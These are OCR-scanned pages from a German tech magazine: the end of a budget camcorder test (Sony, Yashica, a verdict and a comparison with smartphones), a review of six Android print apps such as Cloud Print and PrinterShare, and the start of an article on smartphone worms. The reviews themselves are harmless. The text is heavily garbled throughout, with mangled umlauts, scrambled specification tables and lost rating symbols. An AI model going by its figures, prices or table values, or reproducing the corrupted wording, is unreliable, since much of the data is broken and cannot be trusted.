sich hier Samsung; Yashica liegt in Sachen
Farbwiedergabe ebenfalls recht akkurat

und verlauft sich nur bei Rot etwas, was im
Bild deutlich erkennbar ist. Canon zeigt
eine dhnliche Farbcharakteristik wie Sam-
sung, nur geizt der Camcorder etwas bei
den Cyanténen. Dagegen nehmen Pana-
sonic und Sony Ricksicht auf den euro-
paischen Hauttongeschmack - und auf die
Vorliebe fur saftige Wiesen mit blauem
Himmel. Deshalb liegen die gemessenen
Farborte etwas seltsam. Anscheinend hof-
fen diese Hersteller, dass die Kauferschaft
ihren Look der nlichternen Realitat vor-
zieht.
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Halt dank groBBer Akku-Kapazitat lange durch: Mit dem Sony
HDR-CX 200 kann man gut 2 1/2 Stunden filmen.

schen und einem etwas blechernen Klang
leben.

Die Fotos der Kamera, die laut techni-
schen Daten 5 MPixel auflésen soll, ent-
tauschten und konnten gegen die 2-MPixel-
Varianten etwa von Canon oder JVC nicht
bestehen. Im Fotomodus war obendrein der
Autofokus bei einsetzender Dunkelheit von
leichten Unsicherheiten geplagt.

Sony HDR-CX 200

Schon auf den ersten Blick féllt auf, dass die
On-Screen-Einblendungen des HDR-CX 200
sehr klein geraten sind — zu klein, um sie mit
der Fingerspitze zuverlassig zu treffen. Wenn
dasgelingt, kann man damit erfreulich schnell
- per Finger-Tipp aufs Display — Fokus oder
Helligkeit sowie Wei3abgleich einstellen. Auf
diese Weise lassen sich die Belichtungspara-
meter auch arretieren; anders als beim Pana-
sonic erlaubt Sony aber keinen Zugriff auf die
Verschlusszeit. Die elegante Zoom-Wippe
ldsst den Objektivantrieb etwas unvermittelt
losrauschen; die 30fach-Zoomlinse macht ihre
Arbeit recht ordentlich. Wer auf Automatik
setzt, dem bietet der Sony-Camcorder eine
quasi-intelligente Funktion, um das Motiv
moglichst optimal einzufangen. Das gelingt
leidlich gut, aber gerade bei Portraits ist man
mit der Gesichtserkennung besser bedient.

Wiedergabeseitig erlaubt auch Sony, be-
sonders gelungene Szenen zu markieren und
diese als Folge wie einen fertigen Film abzu-
spielen; alternativ lassen sich diese Clips in
Form von Szenarios neu arrangieren. Sich
mit diesen Funktionen vertraut zu machen,
lohnt die Miihe. Der Umgang mit dem Mate-
rial und die Art des Arrangements schult den
Blick fir den sichtbaren Erfolg beim Filmen.

Im Messlabor ergab sich ein gemischtes
Bild. Bei schwachem Licht entstandene Auf-
nahmen gefielen nicht; sie zeigten ein
waberndes, grobfleckiges Rauschen, das per
Aktivierung der Low-Light-Funktion im Menu
zwar heller ausfallt, doch durch die Verstar-
kung unerwiinschter Signalanteile auch ,ver-
schlimmbessert” werden kann. Hier ist die
Auflésung gering und bei Schwenks ziehen
die Objektkanten etwas nach. Bereits bei
Wohnzimmerlicht (Indoor) sieht die Sache
besser aus; jetzt kommt der unverwechsel-

‘bare Sony-Farbcharakter mit warmen Braun-

tonen zum Tragen, das Rauschen zieht sich
in dunkle Bildbereiche zurlick. Bei hellem
Tageslicht steht der kleine Sony CX200 dem
Canon R306 kaum mehr nach, auch wenn
die Sony-Clips bei Schwenks noch immer
etwas ausgepragtere Artefakte und weniger
Scharfe zeigen. Der Autofokus arbeitet tadel-
los und verirrt sich kaum. Dagegen konnte
der elektronische Bildstabilisator nicht tber-

G 77, - 47 - 31,0 75 SEEEN W 20000 W 4,5 6,5 20

S 77,5 122 - 210 90 MENND GENEE 17500 W11 026 16000
_— 57,6 - 133 . 26,2 90 NN GEENNED 19400 GHNNNNNS 00 @ GEHENNNNN 19,8 @EEEM 10000
S 673 . 20) 575 30 E— 1 1300 . 45 W 169 W 16000
- 56,8 - 137 31,2 SO W 20000 85,1 .93 11250

- 61,4 S 177 - 36,8 60 IR W 13000 27 - 121 20
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Canon,

www.canon.de
Videosystem AVCHD, MPEG-4
Video-Speichermedium SDXC-Karte
Ausstattung
Wandler-Chip (Pixel brutto, GroBe in Zoll) 3 280 000,1/4,8
max. Lichtstérke (Blende) 1:1.8
Brennweite KB-aquiv. [mm] 37-1180 mm
optischer / digitaler Zoom 32 (51)fach/1020fach
Bildstabilisator optisch
Frontscheinwerfer
man. Blende/Fokus/WeiBabgleich vIivIiv
man. Verschlusszeiten (Shutter)
Sucher
Display-Groe/Aufldsung [Pixel] 7,6/76 666
Indexiibersicht (Bilder) v
Editieren im Camcorder v
Digitalisierung Standbild
max. Bildaufldsung [Pixel] 1920 x 1080
Blitz
Dateiformat Foto PG
Speichermedium SDXC-Karte
Anschliisse
Schnittstelle zum Rechner UsB
HOMI v
S-Video in/out -/=-
Composite Video in/out -V
Mikrofon/Kopfharer %
Lieferumfang
Netzteil/Ladegerat vi-
Akku Laufzeit (Dauerbetrieb) 60 Minuten
mitgelieferte Speicher
Fernbedienung
Software Pixela VideoBrowser
Gewicht (m. Akku) 265¢
Abmessungen (B X HxT) 54mx55mx11,5cm
Bewertung
Bildqualitat / Lichtempfindlichkeit ®/®
Bildstabilisator / Ton @@
Display (e}
Handhabung / Ausstattung ®/0
Foto (€]
Preis M49€

i Samsung,

www.panasonic.de www.samsung.com/de/

AVCHD MPEG-4, AV(/H.264
SDXC-Karte SDXC-Karte SDXC-Karte Memory Stick Duo, SDXC-Karte

SDXC-Karte

550 000; 1/6 1300 000,1/5,8 1750000; 1/4 1500 000,1/5,8 5000 000,1/3,2
118 118 118 118 1:2.5
43-1710mm 34-1152mm 40-796 mm 34-840mm 61-485mm
40fach/800fach 34-/2000fach 20fach/40fach 30fach/300fach 8fach/120fach
elektronisch optisch optisch elektronisch elektronisch
v 4
=M vIVIV - vIivIiv -

1/8000 - 1/50 Sek.
6,9/125 000 6,6/77 000 6,9/230 000 6,6/79 000 7,6/70 000

4 v v v
4 v
1920 x 1080 1920 x 1080 30721728 30721728 2592 X 1944

4
PG PG PG PG PG
SDXC-Karte SDXC-Karte SDXC-Karte SDXC-Karte SDXC-Karte
UsB UsB uss USB UsB
v v v v v
=-/- -/= -/- -V -/=-
- - -V -V -V
-/- =/- =-/- S/ -V
vi- vi- vi- vi- vi-
integr. USB-Ladekabel

75Minuten 160 min 105 Minuten 154 Minuten 76 Minuten
Everio Media Browser HD Writer LE Intelli-Studio PlayMemories Home Arc Soft Total Media
35¢g 24q 1904 A5g 2889
Smx55mx11,6m  53mx55mx109cm  43mx52mx119m 56mx58mx10,6cm 52cmx58mx123m
O/0 o/ o/e @/ o/0
o/® ®/® ®/0 O/ ®® ©0/0
©) @® @® (@) (©)
o/e o/e o/e o/e ®/0
€] S S €] @®
300€ 290€ 250€ 39€ 269 €

zeugen - ausschalten und ein Stativ verwen-
den ware eher angesagt.

Tonseitig gewinnt der Sony-Camcorder
den Vergleich. Klare Hohen und recht saube-
re Basse lassen den CX200 auch fiir Musikauf-
nahmen geeignet erscheinen. Ein externer
Mikrofonanschluss wie bei teureren Camcor-
dern fehlt auch hier. Der Sony-Akku — wie der
des Panasonic - halt im Vergleich zur Kon-
kurrenz erfreulich lange; erst nach tiber 2 1/2
Stunden Dauerbetrieb ist Schluss.

Yashica CMHP 12

Ein Camcorder, der mit eingebautem Video-
Projektor weniger kostet als die Konkurrenz-
geréate ohne: Damit bringt sich die altbekann-
te Foto-Company Yashica wieder in Erinne-
rung. Zur Instant-Vorfiihrung vor groBerem
Publikum nutzt er eine LED als Lichtquelle,
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die sich unter der Optik befindet. Es muss
allerdings stockfinster sein, damit Farbeninder
bis zu 80 Zentimeter breiten Projektion zum
Tragen kommen; die Schérfe im projizierten
Bild lasst sich mit einem kleinen Kunststoff-
hebel nur mihsam einstellen. SchlieBlich
liegt die Auflosung des Bildes deutlich unter
HD-Qualitdt. Insgesamt ein nettes Feature,
das man derzeit vor allem als Technologie-
studie einstufen darf — auch wenn andere
Firmen (etwa Sony beispielsweise im PJ 200)
dhnliche Bildwerfer verbauen.

Das ausklappbare Display konnte etwas
mehr Auflésung vertragen — irgendwo muss-
te wohl auch Yashica sparen. Das taten sie
auch beim Objektivdeckel, der klassisch wie
bei einer Spiegelreflex-Kamera aufgesetzt
werden muss; bei allen anderen Kandidaten
schlieBt man den Lamellenobjektivschutz
mit einem kleinen Hebel.

Das Menu der CMHP 12 bevélkern zu-
meist unverstandliche Piktogramme - wenn
auch mit sinnvollen Funktionen. Die schlecht
Ubersetzte Bedienungsanleitung ist beim
Dechiffrieren keine groBe Hilfe. Dabei bietet
der Camcorder durchaus hilfreiche Dinge
wie Gegenlichtfunktion, einen zuverldssigen
WeiBabgleich, Bewegungserkennung, Pre-
Recording oder die Blendensteuerung, die
bei einfachem Tipp auf den Touchscreen er-
scheint.

Das 8fach-Zoom-Objektiv ist mit 61 mm
KB-dquivalenter Minimalbrennweite recht
telelastig ausgelegt. Offenbar haben die Ent-
wickler einen Kompromiss gesucht, um den
grofen 1/3-Zoll-Sensor mit einer lichtstarken
Optik zu kombinieren, ohne allzu starke
Verzeichnungen in Kauf nehmen zu mussen.
Dummerweise dringt das Summen des
Zoomantriebs in die Tonspur. Die Zoom-
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Camcorder mit eingebautem Projektor: Der Yashica CMHP 12
eignet sich fiir spontane Video-Vorfiihrungen.

Geschwindigkeit ist recht hoch - ein Grund
mebhr, beilaufender Aufnahme die Finger vom
Zoom-Knopf zu lassen. Im Test vermissten wir
einen tauglichen Bildstabilisator und einen si-
cher arbeitenden Autofokus. Die Schérfe soll-
te man am besten manuell einstellen; immer-
hin ist eine Scharfearretierung eingebaut.

Die Labormessungen ergaben einen
durchweg zu starken Video-Bildkontrast, was
sich in etwas zu dunklen Bildpartien nieder-
schlagt. Im Menu lasst sich das - wie die
Schérfe - dreistufig justieren; damit kann
man je nach Aufnahmesituation die Videos
verbessern. Das Bildrauschen halt sich dank
des groBen Bildwandlers in erfreulich engen
Grenzen. Mit weit geodffneter Blende bei
schwacher Beleuchtung bekommt man fast
taghelle Szenen, die aber durchaus schérfer
ausfallen durften.

Uberraschend schnitt derkleine Yashica im
Fotomodus ab. Als einziges Gerat im Testfeld
lieferte er Uberzeugende 5-MPixel-Bilder mit
hoher Schérfe und akkurater Abbildungsleis-
tung. Die Front-LED ist - wenn auch ohne be-
achtliche Ergebnisse - als Blitz zu verwenden.
Die Wiedergabelupe ermdglicht eine Bild-
kontrolle wie beim Fotoapparat. Die Test-
fotos zeigten, dass die Elektronik ,mitdenkt”
- im Sinne eines Verwackelschutzes.

Fazit

Gar nicht libel, was die Spar-Camcorder leis-
ten. Am Beispiel des Canon R306 lasst sich
ablesen, welche Qualitat man fir 350 Euro
erwarten kann: Der Camcorder zaubert bei
Tageslicht ein Videobild, das an die Qualitat
deutlich teurerer Gerdte herankommt. Auch
bei schwacher Beleuchtung sind die Aufnah-
men durchaus ansehnlich, was man tber die
Videos von JVC, Sony, Samsung und Panaso-
nic so nicht behaupten kann. Obendrein bie-
tet der Canon eine gigantische Zoom-Optik.
Wer besonderen Wert darauf legt, die
Aufnahme-Parameter manuell festzulegen,
fur den kommt auch der Panasonic V100 in
Frage, der unter anderem mit wahlbarer
Verschlusszeit glanzt.
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Und wie steht esim Vergleich mit der Kon-
kurrenz von Video-befdhigten Fotoappara-
ten und Smartphones? Bei der Fotokamera
lautet die einfachste Antwort: So schlecht,
wie Fotoapparate filmen, so schlecht foto-
grafieren Videokameras. Dass hier zwei Geré-
tegattungen ein Doppelnutzen unterstellt
wird, bleibt fast immer frommer Werbe-
wunsch. Einzig der Yashica CMHP 12 schief3t
im 8-MPixel-Modus Fotos, die mit denen aus
Billig-Digicams konkurrieren kdnnen.

Schon die unterschiedliche Bauform do-
kumentiert aber, dass der Fotoapparat aufs
kurze, beidhdndige Ruhighalten, der Cam-
corder aufs auch mal minutenlange ,Drauf-
halten” optimiert ist. Gegeniliber Smart-
phones sieht die Sache nicht wesentlich an-
ders aus. Die guten Smartphones filmen
zwar wie die meisten Digicamsin HD, bieten
aber wie diese keinerlei Einstellmoglichkei-
ten, sondern nur Vollautomatik. Aufnahmen
im Gegenlicht, ein gestaltender Umgang mit
Unscharfe, das Vermeiden argerlicher Farb-
verfdlschungen - all das bleibt Gliicksache.

Eines der momentan fir Filmer ernstzu-
nehmenden Smartphones, das Apple iPhone
4s, zeichnet bei kréftiger Beleuchtung nicht
mal schlecht auf. Doch dem Smartphone feh-
len Dinge wie ein optisches Zoom-Objektiv
oder ein klappbares Display, die kein ernst-
hafter Video-Filmer missen méchte. Die Ton-
aufzeichnung reicht fur verstandliche Sprach-
wiedergabe aus, fur mehr aber nicht. Das
ldsst sich erst mit einem externen Mikrofon
andern, das man am 4s anschlieBen kann.

Der eigentliche Vorteil des iPhone ist —
neben der Tatsache, dass man es immer
dabei hat - sein einfacher Workflow: Video-
schnitt und Versand sind dank zahlreicher
Apps kein Problem; da miissen die Camcor-
der noch hinzulernen. Doch auf die nutzbare
Video-Qualitdt geschaut, machen die getes-
teten Camcorder, allen voran der Canon und
der Panasonic, bei Tageslicht die schoneren
und dank ihres schnellen Autofokusses auch
die scharferen Aufnahmen. Spezialisierte
Video-Camcorder haben also eine Daseins-
berechtigung. Noch. (uh) c&
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Gmail

Rudolf Opitz

Druck-Macher

Herstellerunabhdngige Druck-Apps fiir Android

Druckauftrage vom Android-Smartphone oder -Tablet auf beliebige im
LAN oder in der Cloud verfiigbare Drucker senden, egal von welchem
Hersteller der Drucker stammt? Das versprechen generische Druck-Apps,
die dazu einige technische Klimmziige unternehmen und sich ihre
Dienste zum Teil gut bezahlen lassen.

Mit iPhone, iPad und iPod
touch druckt man vielfach
direkt aus der Anwendung
heraus iber die Schnittstelle Air-
Print, die Apple seinem Mobil-
Betriebssystem i0OS spendiert
hat. Der Hersteller listet mittler-
weile Uber 200 AirPrint-fahig
Drucker auf, die die iOS-Gerate
via WLAN ansprechen kénnen.

Googles Android-Betriebssys-
tem fehlt dagegen eine ver-
gleichbare Druckfunktion. Die
meisten Druckerhersteller bieten
im Play Store — dem friiheren An-
droid Market - Gratis-Apps an,
mitdenen man auf dem eigenen
Multifunktionsdrucker  Bilder,
PDFs und oft auch Webseiten
ausgeben und teilweise sogar
scannen kann. Doch erkennen
diese Apps immer nur aktuelle
WLAN-Modelle des jeweiligen
Herstellers.

Dariiber hinaus entdeckt man
im Play Store auch Apps, die
herstellerunabhéngig viele ver-
schiedene Drucker und Multi-
funktionsgerdte  ansprechen
kénnen. Beispielsweise braucht
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man mit einer solchen App auf
einer Messe oder einer Konfe-
renz nur nach den verfligbaren
LAN-Druckern zu scannen und
den passenden Treiber aus einer
Liste herauszusuchen. Sind die
Drucker bei Google Cloud
Print [1] unter einem offentli-
chem Account angemeldet, be-
nétigt man hingegen keinen ei-
genen Treiber. Windows-Freiga-
ben erkennt keine der Print-
Apps.

Auch druckt nicht jede App
alles: Einige sind auf bestimmte
Datei- und Bildformate be-
schrankt, andere senden auch
Termin- und Adresslisten, E-
Mails oder den Inhalt der Zwi-
schenablage zum Drucker. Fast
alle erscheinen zudem auf der
Android-eigenen ,Senden zu"-
Liste und nehmen so Inhalte wie
Webseiten direkt von der jewei-
ligen App entgegen. Siehe dazu
die Tabellen auf Seite 132.

Sechs Print-Apps aus dem
Play Store haben wir uns ge-
nauer angeschaut. Gratis sind
die Apps Cloud Print, die nur

mit dem Google-Dienst kom-
muniziert, und Cortado Work-
bench. Die Vollversion von
,Print from Android” kostet nur
etwa 1 Euro, PrintBot ist mit
rund 3 Euro auch recht ginstig.
Von beiden gibt es eine Demo-
Version zum Ausprobieren. Prin-
terShare bekommt man als Gra-
tis-Version mit eingeschrénkten
Druckoptionen, die man fir 10
Euro freischalten kann. Die In-
stallation von iCanPrint kostet
nichts, doch muss man jeden
Druckvorgang lber sogenannte
.Druckpunkte” bezahlen, von
denen man vorab ein gewisses
Kontingent kauft. Alternativ
gibt es eine unbeschrankte Ver-
sion der App flir happige
16 Euro.

Die Apps unterscheiden sich
nicht nur im Preis, sondern auch
im Funktionsumfang deutlich:
So druckt ,Cloud Print” — wie der
Name schon andeutet - nur auf
Geraten, die bei dem Google-
Dienst angemeldet sind. Andere
erkennen nur spezielle Frei-
gaben im LAN. Ebenso gibt es

Unterschiede bei den druckba-
ren Inhalten.

Cloud Print

Die App setzt einen vorhandenen
Cloud-Print-Account bei Google
voraus. Sind mehrere Google-
Konten beim Android-System re-
gistriert, wahlt man eines unter
Einstellungen des Hauptmends
von Cloud Print aus. Angemelde-
te Drucker lassen sich bequem
verwalten. Die Uibersichtliche und
gut dokumentierte App stellt
aufler dem Hauptmeni zwei wei-
tere Menus bereit: Unter ,Lokal”
wahlt man eine Quelle auf dem
Gerat zum Drucken aus - ein PDF,
Kontakte oder ein Foto. Word-
Dokumente druckt Cloud Print
ebenfalls, doch erhielten wir im
Test ofters fehlerhafte Ergebnisse,
etwa mit falschen Fonts oder fal-
scher Hintergrundfarbe. Beim
Versuch, Webseiten tiber ,senden
via“ auszudrucken, hagelte es nur
Fehlermeldungen.

+Dokumente scannen” ruft die
Kamera auf, mit der man bei-
spielsweise ein Dokument abfo-
tografiert und gleich ausdruckt.
AuBer einer Zuschnittfunktion
gibt es keine Bildoptimierungen;
spezielle Scanner-Apps bieten
hier mehr [1]. Das dritte Meni
Web” greift auf Daten in der
Cloud wie E-Mails, Google Docs
und Calendar, Picasa und Face-
book zu. Die Druckereinstellun-
gen hangen vom gewdhlten
Modell ab: Bei einem Epson
Multifunktionsgerdt BX935FWD
konnten wir unter anderem Pa-
pierformate, Qualitat und die Pa-
pierkassette auswahlen, Dbei
einem HP Envy 100 lieen sich
nur Qualitdt und Farbmodus vor-
geben.

Cloud Print ist zwar kostenlos,
nervt jedoch durch Werbung
und regelmaBige Aufforderun-
gen, diese durch Installation der
App ,Remove all Ads” flr 2 Euro
zu entfernen. Cloud Print erwei-
tert die Nutzbarkeit von Googles
Druckdienst erheblich. Lokale
Drucker missen aber Cloud-
Print-fahig und angemeldet sein,
damit man mit der App vom Mo-
bilgerat aus auf sie zugreifen
kann.

Cortado Workplace

Cortado stellt mit der Work-
place-App Dienste wie einen
E-Mail-Account und 2 GByte
Webspeicher kostenlos bereit,
druckt aber nur auf Drucker, die
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Das kostenlose Cloud Print
druckt nur auf Drucker, die
beim Google-Dienst
angemeldet sind, und nervt
mit Werbebannern.

im lokalen Netzwerk erreichbar
sind, oder auf Bluetooth-Gerate.
Cloud-Drucker kennt die App
nicht. Nach Auswahl des Geréts
muss man zunachst einen pas-
senden Treiber aus einer langen
Liste heraussuchen - Cortado
listet Uber 5000 Modelle auf.
Dabei handelt es sich meist um
groBere Blro-Gerdte, manche
aktuellen Drucker fur den Haus-
gebrauch sucht man vergebens.
Dann bleibt nur, einen Treiber
fur ein moglichst ahnliches
Gerat zu wadhlen. Manchmal
klappt das Drucken damit,
manchmal nicht.

Die Druckaufbereitung Uber-
nimmt ein Serverdienst in der
Cloud, der auch Office-Dateien
wie DOC und XLS verarbeitet
und sogar eine Vorschau aufs
Mobilgerét schickt. Dateien las-
sen sich vom lokalen Speicher
oder dem Workplace-Speicher
zum Drucken auswahlen, aber
auch von einem zum anderen
kopieren oder verschieben. Eine
Print-Schaltflache fehlt, zum Dru-
cken muss man auf den Drucker-
Eintrag in der Liste tippen. Die
Ergebnisse sehen meist gut aus,
Einstellungen wie Papierformat
oder manuelles Skalieren bietet
Cortado Workplace nicht.

Geld will Cortado mit zubuch-
baren Premium-Diensten wie
Fax-Versand (5 Faxe kosten rund
1,50 Euro, 25 Faxe 5,50 Euro)
oder zusatzlichem Cloud-Spei-
cher verdienen (fur rund 2 Euro
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Cortado Workplace stellt
zwei Gigabyte Speicher in
der Cloud bereit, findet
Drucker aber nur im lokalen
Netzwerk.

pro Monat gibt es insgesamt
5 GByte, 10 GByte kosten 3 Euro).

iCanPrint

Auch die App iCanPrint druckt
nur auf im (W)LAN verfuigbaren
Geraten und stellt zum Installieren
eine lange Treiberliste bereit. Fir
an Windows-PCs angeschlossene
Drucker ist eine spezielle Server-
Software notwendig, die sie im
Netz freigibt. Willman einen USB-
Drucker direkt an das Smartpho-
ne oder Tablet anschlieBen,
braucht man eine spezielle USB-
Box, die der Hersteller fur rund
90 US-Dollar inklusive Steuern
und Versand aus Taiwan anbietet.

Die App strotzt vor Fehlern,
Kostenfallen und sonstigen Ge-
meinheiten: Schon beim ersten
Start fragt iCanPrint zuerst einmal
nach personlichen Daten wie Ge-
schlecht, Geburtstag, Familien-
stand und Wohnort, argert durch
schwebende Werbebalken, die
sich vor anzutippende Menu-
punkte schieben und druckt
beim Einrichten von Druckern un-
gefragt Testseiten. Die ,Gratis"-
App zieht fur jeden Druckvor-
gang sogenannte ,Druckpunkte”
ab, die man vorher in Kontingen-
ten von 50 Punkten fur einen US-
Dollar bis zu 500 Punkten fr flnf
Dollar kaufen muss. Funf ,Druck-
punkte” sind zum Ausprobieren
vorhanden, doch verweigerte die
App im Test nach der ersten Seite
jeden weiteren Druckvorgang,

Vordem Drucken mit iCan-
Print muss man erst Punkte
kaufen oder knapp 16 Euro
fiir eine unbegrenzte Version
berappen.

obwohl noch vier Punkte vorhan-
den waren. Fir rund 16 Euro gibt
es immerhin eine unbegrenzte
Version.

Doch auch die Kaufversion ist
nicht empfehlenswert: |hre of-
fensichtlich maschinell einge-
deutschten Menus und Fehler-
meldungen verwirren (,Wird die
Testseite richtig gedruckt? Korri-
gieren Sie | Unrichtig.”), WLAN-
Multifunktionsdrucker erkannte
die App nicht, ebensowenig PC-
Freigaben - trotz installiertem
Server-Programm.

Auf einem LAN-Drucker gab
iCanPrint Bilderund PDFs aus, Of-
fice-Dateien konvertierte die App
vorher ins PDF-Format, skalierte
die Drucke aber nicht korrekt, so-
dass Teile der Seite abgeschnit-
ten wurden. Zum Anpassen an
die Druckseite steht zwar ein vir-
tueller Schieberegler bereit, doch
gerat die manuelle Justage man-
gels Vorschau zum Blindflug.

Print from Android

Die App ,Print from Android”
druckt ausschlieBlich auf per Ser-
ver-Software fur Windows-PCs
freigegebene Drucker Ubers
Netzwerk und soll mit Hilfe eines
IP-Services wie DynDNS auch
Ubers Internet funktionieren,
was im Test aber nicht klappte.
Die App fragt zunachst nach der
IP-Adresse des Servers sowie des
bei der Server-Einrichtung vor-
gegebenen Ports und Passworts.

Prufstand | Druck-Apps

Zur App ,Print from Android”
gehort eine einfache Server-
Software fiir Windows-PCs, die
Drucker freigeben soll. Im Test
funktionierte das aber nicht.

Hat die Verbindungsaufnahme
geklappt, lassen sich theoretisch
Bilder, PDFs und sogar Office-Da-
teien drucken. Auch auf die Zwi-
schenablage soll die App zugrei-
fen, sie erscheint jedoch nicht in
der ,Senden via“-Liste von An-
droid, sodass beispielsweise
Webseiten und E-Mails auflen
vor bleiben.

Im Test scheiterte der Druck
schon daran, dass wir weder Da-
teien noch Datensdtze etwa aus
den Kontakten auswahlen konn-
ten. Hilfe gibt es von der App
nicht, da ,Print from Android”
stimperhaft eingedeutscht und
nicht dokumentiert ist. Flr die
Einrichtung der Server-Software
findet man Informationen im-
merhin in englischer Sprache auf
der Webseite des Anbieters.

PrintBot

Die Bedienoberflache von Print-
Bot kommt ohne grafische Spie-
lereien aus und wirkt wie ein Teil
von Android. Auch funktional
beschrankt sich die App auf das
Wesentliche: Sie gibt Bilder, PDFs
und von anderen Apps gesende-
te Inhalte auf Druckern im loka-
len Netzwerk aus. Die unuber-
sichtliche Treiberliste zahlt rund
3000 Modelle auf, Drucker in der
Cloud findet PrintBot nicht.
Zudem scheiterte es im Test
mehrfach, die im LAN vorhande-
nen Drucker automatisch zu er-
kennen, besser klappte es bei
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Die einfach gehaltene App
PrintBot findet manchmal
bereits erkannte Netz-Drucker
und Freigaben nicht mehr.

manueller Vorgabe der IP-Adres-
se des Druckers. Doch auch be-
reits erkannte und installierte
Gerate meldete die App oftmals
als ,Offline”, obwohl sie einge-
schaltet und von anderen Apps
aus ansprechbar waren.
Druckoptionen bietet PrintBot
so gut wie nicht. Je nach Drucker-
treiber kann man wenigstens das
Papierformat einstellen. Fiir Fotos
gibt es lediglich einen Schieber
zum Anpassen der GroBe, der
mangels Vorschau aber nichtsehr
komfortabel ist. Office-Dateien

Seitenansicht (1 gesamt)

1
Drucker

@  OfficeJet 6700 Premium e-All-in-
One

A4
Printer default

Powered  Mobile  amix

Als einzige App im Test
prasentiert PrinterShare eine
Voransicht der Druckseite.

Die Gratis-Version von Print-
Bot erlaubt nur drei Druckauftra-
ge pro Monat. Fur rund drei Euro
bekommt man die PrintBot-Pro-
Lizenz, mit der sich unbegrenzt
drucken lasst.

PrinterShare

Die flexibelste Drucklésung fir
Android heif3t PrinterShare: Die
App erkennt Drucker und Multi-
funktionsgerate im lokalen Netz-
werk, Bluetooth-Gerdte und
sogar per Adapter mit dem Mo-

kennt die App nicht. bilgerdt verbundene USB-Dru-
App Cloud Print
Anbieter Paulo Fernandes TecoImage Systems
Preis werbefinanziert gratis 1584 €/
nach Druckseiten
Drucken von
JPG/PNG/GIF/TIFFE v /v /=]~ viviviv vivivi- Fehler
PDF/DOC(X)/XLS/ODT v/ /v [v/ | = vIiviviv VIV - Fehler
Webseiten Senden via Senden via Fehler
(Fehler bei Senden via)
E-Mail / SMS Senden via/v/ -/- -/- Fehler
Kontakte / Kalender v/ /v/ -/= -/= Fehler/ -
(Google Kalender)
Iwischenablage v v Fehler
Senden via v v v
sonstiges von Kamera
Drucken zu
LAN-Drucker v v
WLAN-Gerdte v v
Bluetooth v
USB-Drucker
(Zusatzgerat notig)
Freigaben LAN / vi= viv

Internet

Google Cloud Print v/

" konvertiert Format zu PDF

v/ vorhanden - nicht vorhanden
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cker. Die noétigen Treiber ver-
sucht PrinterShare zundchst
selbst zu ermitteln. Klappt dies
nicht, muss man den korrekten
Treiber manuell aus einer nach
Herstellern und Baureihen Gber-
sichtlich sortierten Ordnerstruk-
tur auswahlen. Einige Treiber-
pakete ladt PrinterShare aus dem
Internet nach, holt dazu aber vor-
her die Erlaubnis des Nutzers ein.

Druckauftrage sendet die App
auf Wunsch auch an Google
Cloud Print. Will man nicht netz-
werkféhige Drucker am Win-
dows-PC oder Mac ansprechen,
stellt PrinterShare auf einer eige-
nen Webseite eine Server-Soft-
ware bereit, die verglichen mit
den Servern von iCanPrint und
Print from Android einen profes-
sionellen Eindruck macht.

Fir die Freigabe im LAN
braucht man den Drucker nur
aus der Liste der angeschlosse-
nen Gerate auszuwahlen. Will
man ihn auch Ubers Internet er-
reichen, muss man sich beim
PrinterShare-Onlinedienst regis-
trieren und Uber die Server-Soft-
ware einloggen. Ein zusatzlicher
DynDNS-Account ist nicht not-
wendig. Der PrinterShare-Betrei-
ber lasst sich seinen Internet-
Dienst bezahlen: 20 Druckseiten
sind frei, 100 weitere kosten
rund 5 US-Dollar; ftir 10 US-Dol-
lar pro Monat druckt man un-
limitiert Gbers Internet.

PrinterShare sendet nicht nur
Bilder, PDFs und andere Dateien
zum Drucker, sondern auch

29€

vivivi- vivi-I-

vi=l-/- vivivi-

Senden via v

Senden via / - viv

-/- viv

v

v v
Anrufprotokolle

v v

v v
v
v

-/- viv
(kostenpflichtig)
v

Webseiten, SMS, Mails, Kalender-
eintrage, Kontaktlisten und An-
rufprotokolle. Bilder sucht man
aus der Galerie heraus aus, was
wegen der Thumbnails die Aus-
wabhl erleichtert. Vor dem Druck
prasentiert PrinterShare eine Sei-
tenansicht und erlaubt Einstel-
lungen wie PapiergroBe, Seiten-
rander, Ausrichtung, Druckmo-
dus und -qualitdt und Duplex-
druck. Uns storte lediglich, dass
das Papierformat bei jedem
neuen Druckauftrag wieder auf
dem US-Format ,Letter” stand.
Beim Drucken von Kontaktlisten
fehlten einige Sonderangaben
wie Beziehungen und Assisten-
ten; Telefon, E-Mail, Anschrift
und Notizen landeten aber auf
dem Ausdruck.

Wie PrintBot installiert man
PrinterShare zunachst als Gratis-
App - sie druckt zu Google
Cloud Print ohne Einschrankun-
gen, gibt auf Netzwerk-, USB-
und Bluetooth-Druckern aber
nur Testseiten aus. Die Premium-
Lizenz kostet rund 10 Euro und
schaltet alle Druckoptionen frei,
nur das Drucken auf eine Inter-
net-Freigabe Uber den Printer-
Share-Dienst muss man extra be-
zahlen.

Fazit

Wer fiir das mobile Drucken kein
zuséatzliches Geld ausgeben will,
kombiniert Cloud Print mit Cor-
tado Workplace und erreicht so
lokale Drucker im Netz und
Cloud-Print-Gerdte Uber den
Google-Dienst. Die ausgereiftes-
te und flexibelste Losung bietet
PrinterShare - die zehn Euro fir
den Premium Key sind gut an-
gelegt. PrintBot kostet zwar we-
niger, ist aber nicht ausgereift
und kennt keine Cloud-Drucker.
Von den anderen Apps sollte
man wegen Kostenfallen und
schlechter Umsetzung die Finger
lassen. Geht es nur darum, den
eigenen Drucker vom Mobilge-
rat aus ansprechen zu kénnen,
sollte man zunachst nach kos-
tenfreien Apps des Drucker-Her-
stellers forschen. (rop)
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erichte Uber Smartphone-Apps mit ver-

steckten, bésartigen Zusatzfunktionen
sind schon fast an der Tagesordnung. Kein
Wunder, sind doch Smartphones ein durch-
aus attraktives Ziel fur Angreifer. Sie beher-
bergen interessante Daten wie Adressbi-
cher, SMSe, E-Mails, Fotos bis hin zu Firmen-
und Zugangsdaten zu anderen Diensten.
Und wenn wir demndchst anfangen, Geldge-
schafte mit dem Handy abzuwickeln oder
damit sogar direkt zu bezahlen, wird das fir
Betriiger noch viel reizvoller.

Weniger Beachtung findet ein anderes
Angriffsszenario: Die Smartphones haben
eine quasi permanente Verbindung zum In-
ternet und sind Uber diese prinzipiell auch
erreichbar. Klassische Wirmer wie man sie
aus der Windows-Welt kennt, kdnnten somit
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auch Smartphones befallen und unter Um-
standen sogar von einem Opfer zum néachs-
ten springen.

Wie real diese Gefahr ist, bewies ein ju-
gendlicher Australier, der im November 2009
den ersten iPhone-Wurm freisetzte. lkee ver-
breitete sich innerhalb einer Woche auf tber
20 000 Smartphones vornehmlich auf der
stdlichen Halbkugel. Der Australier spielte
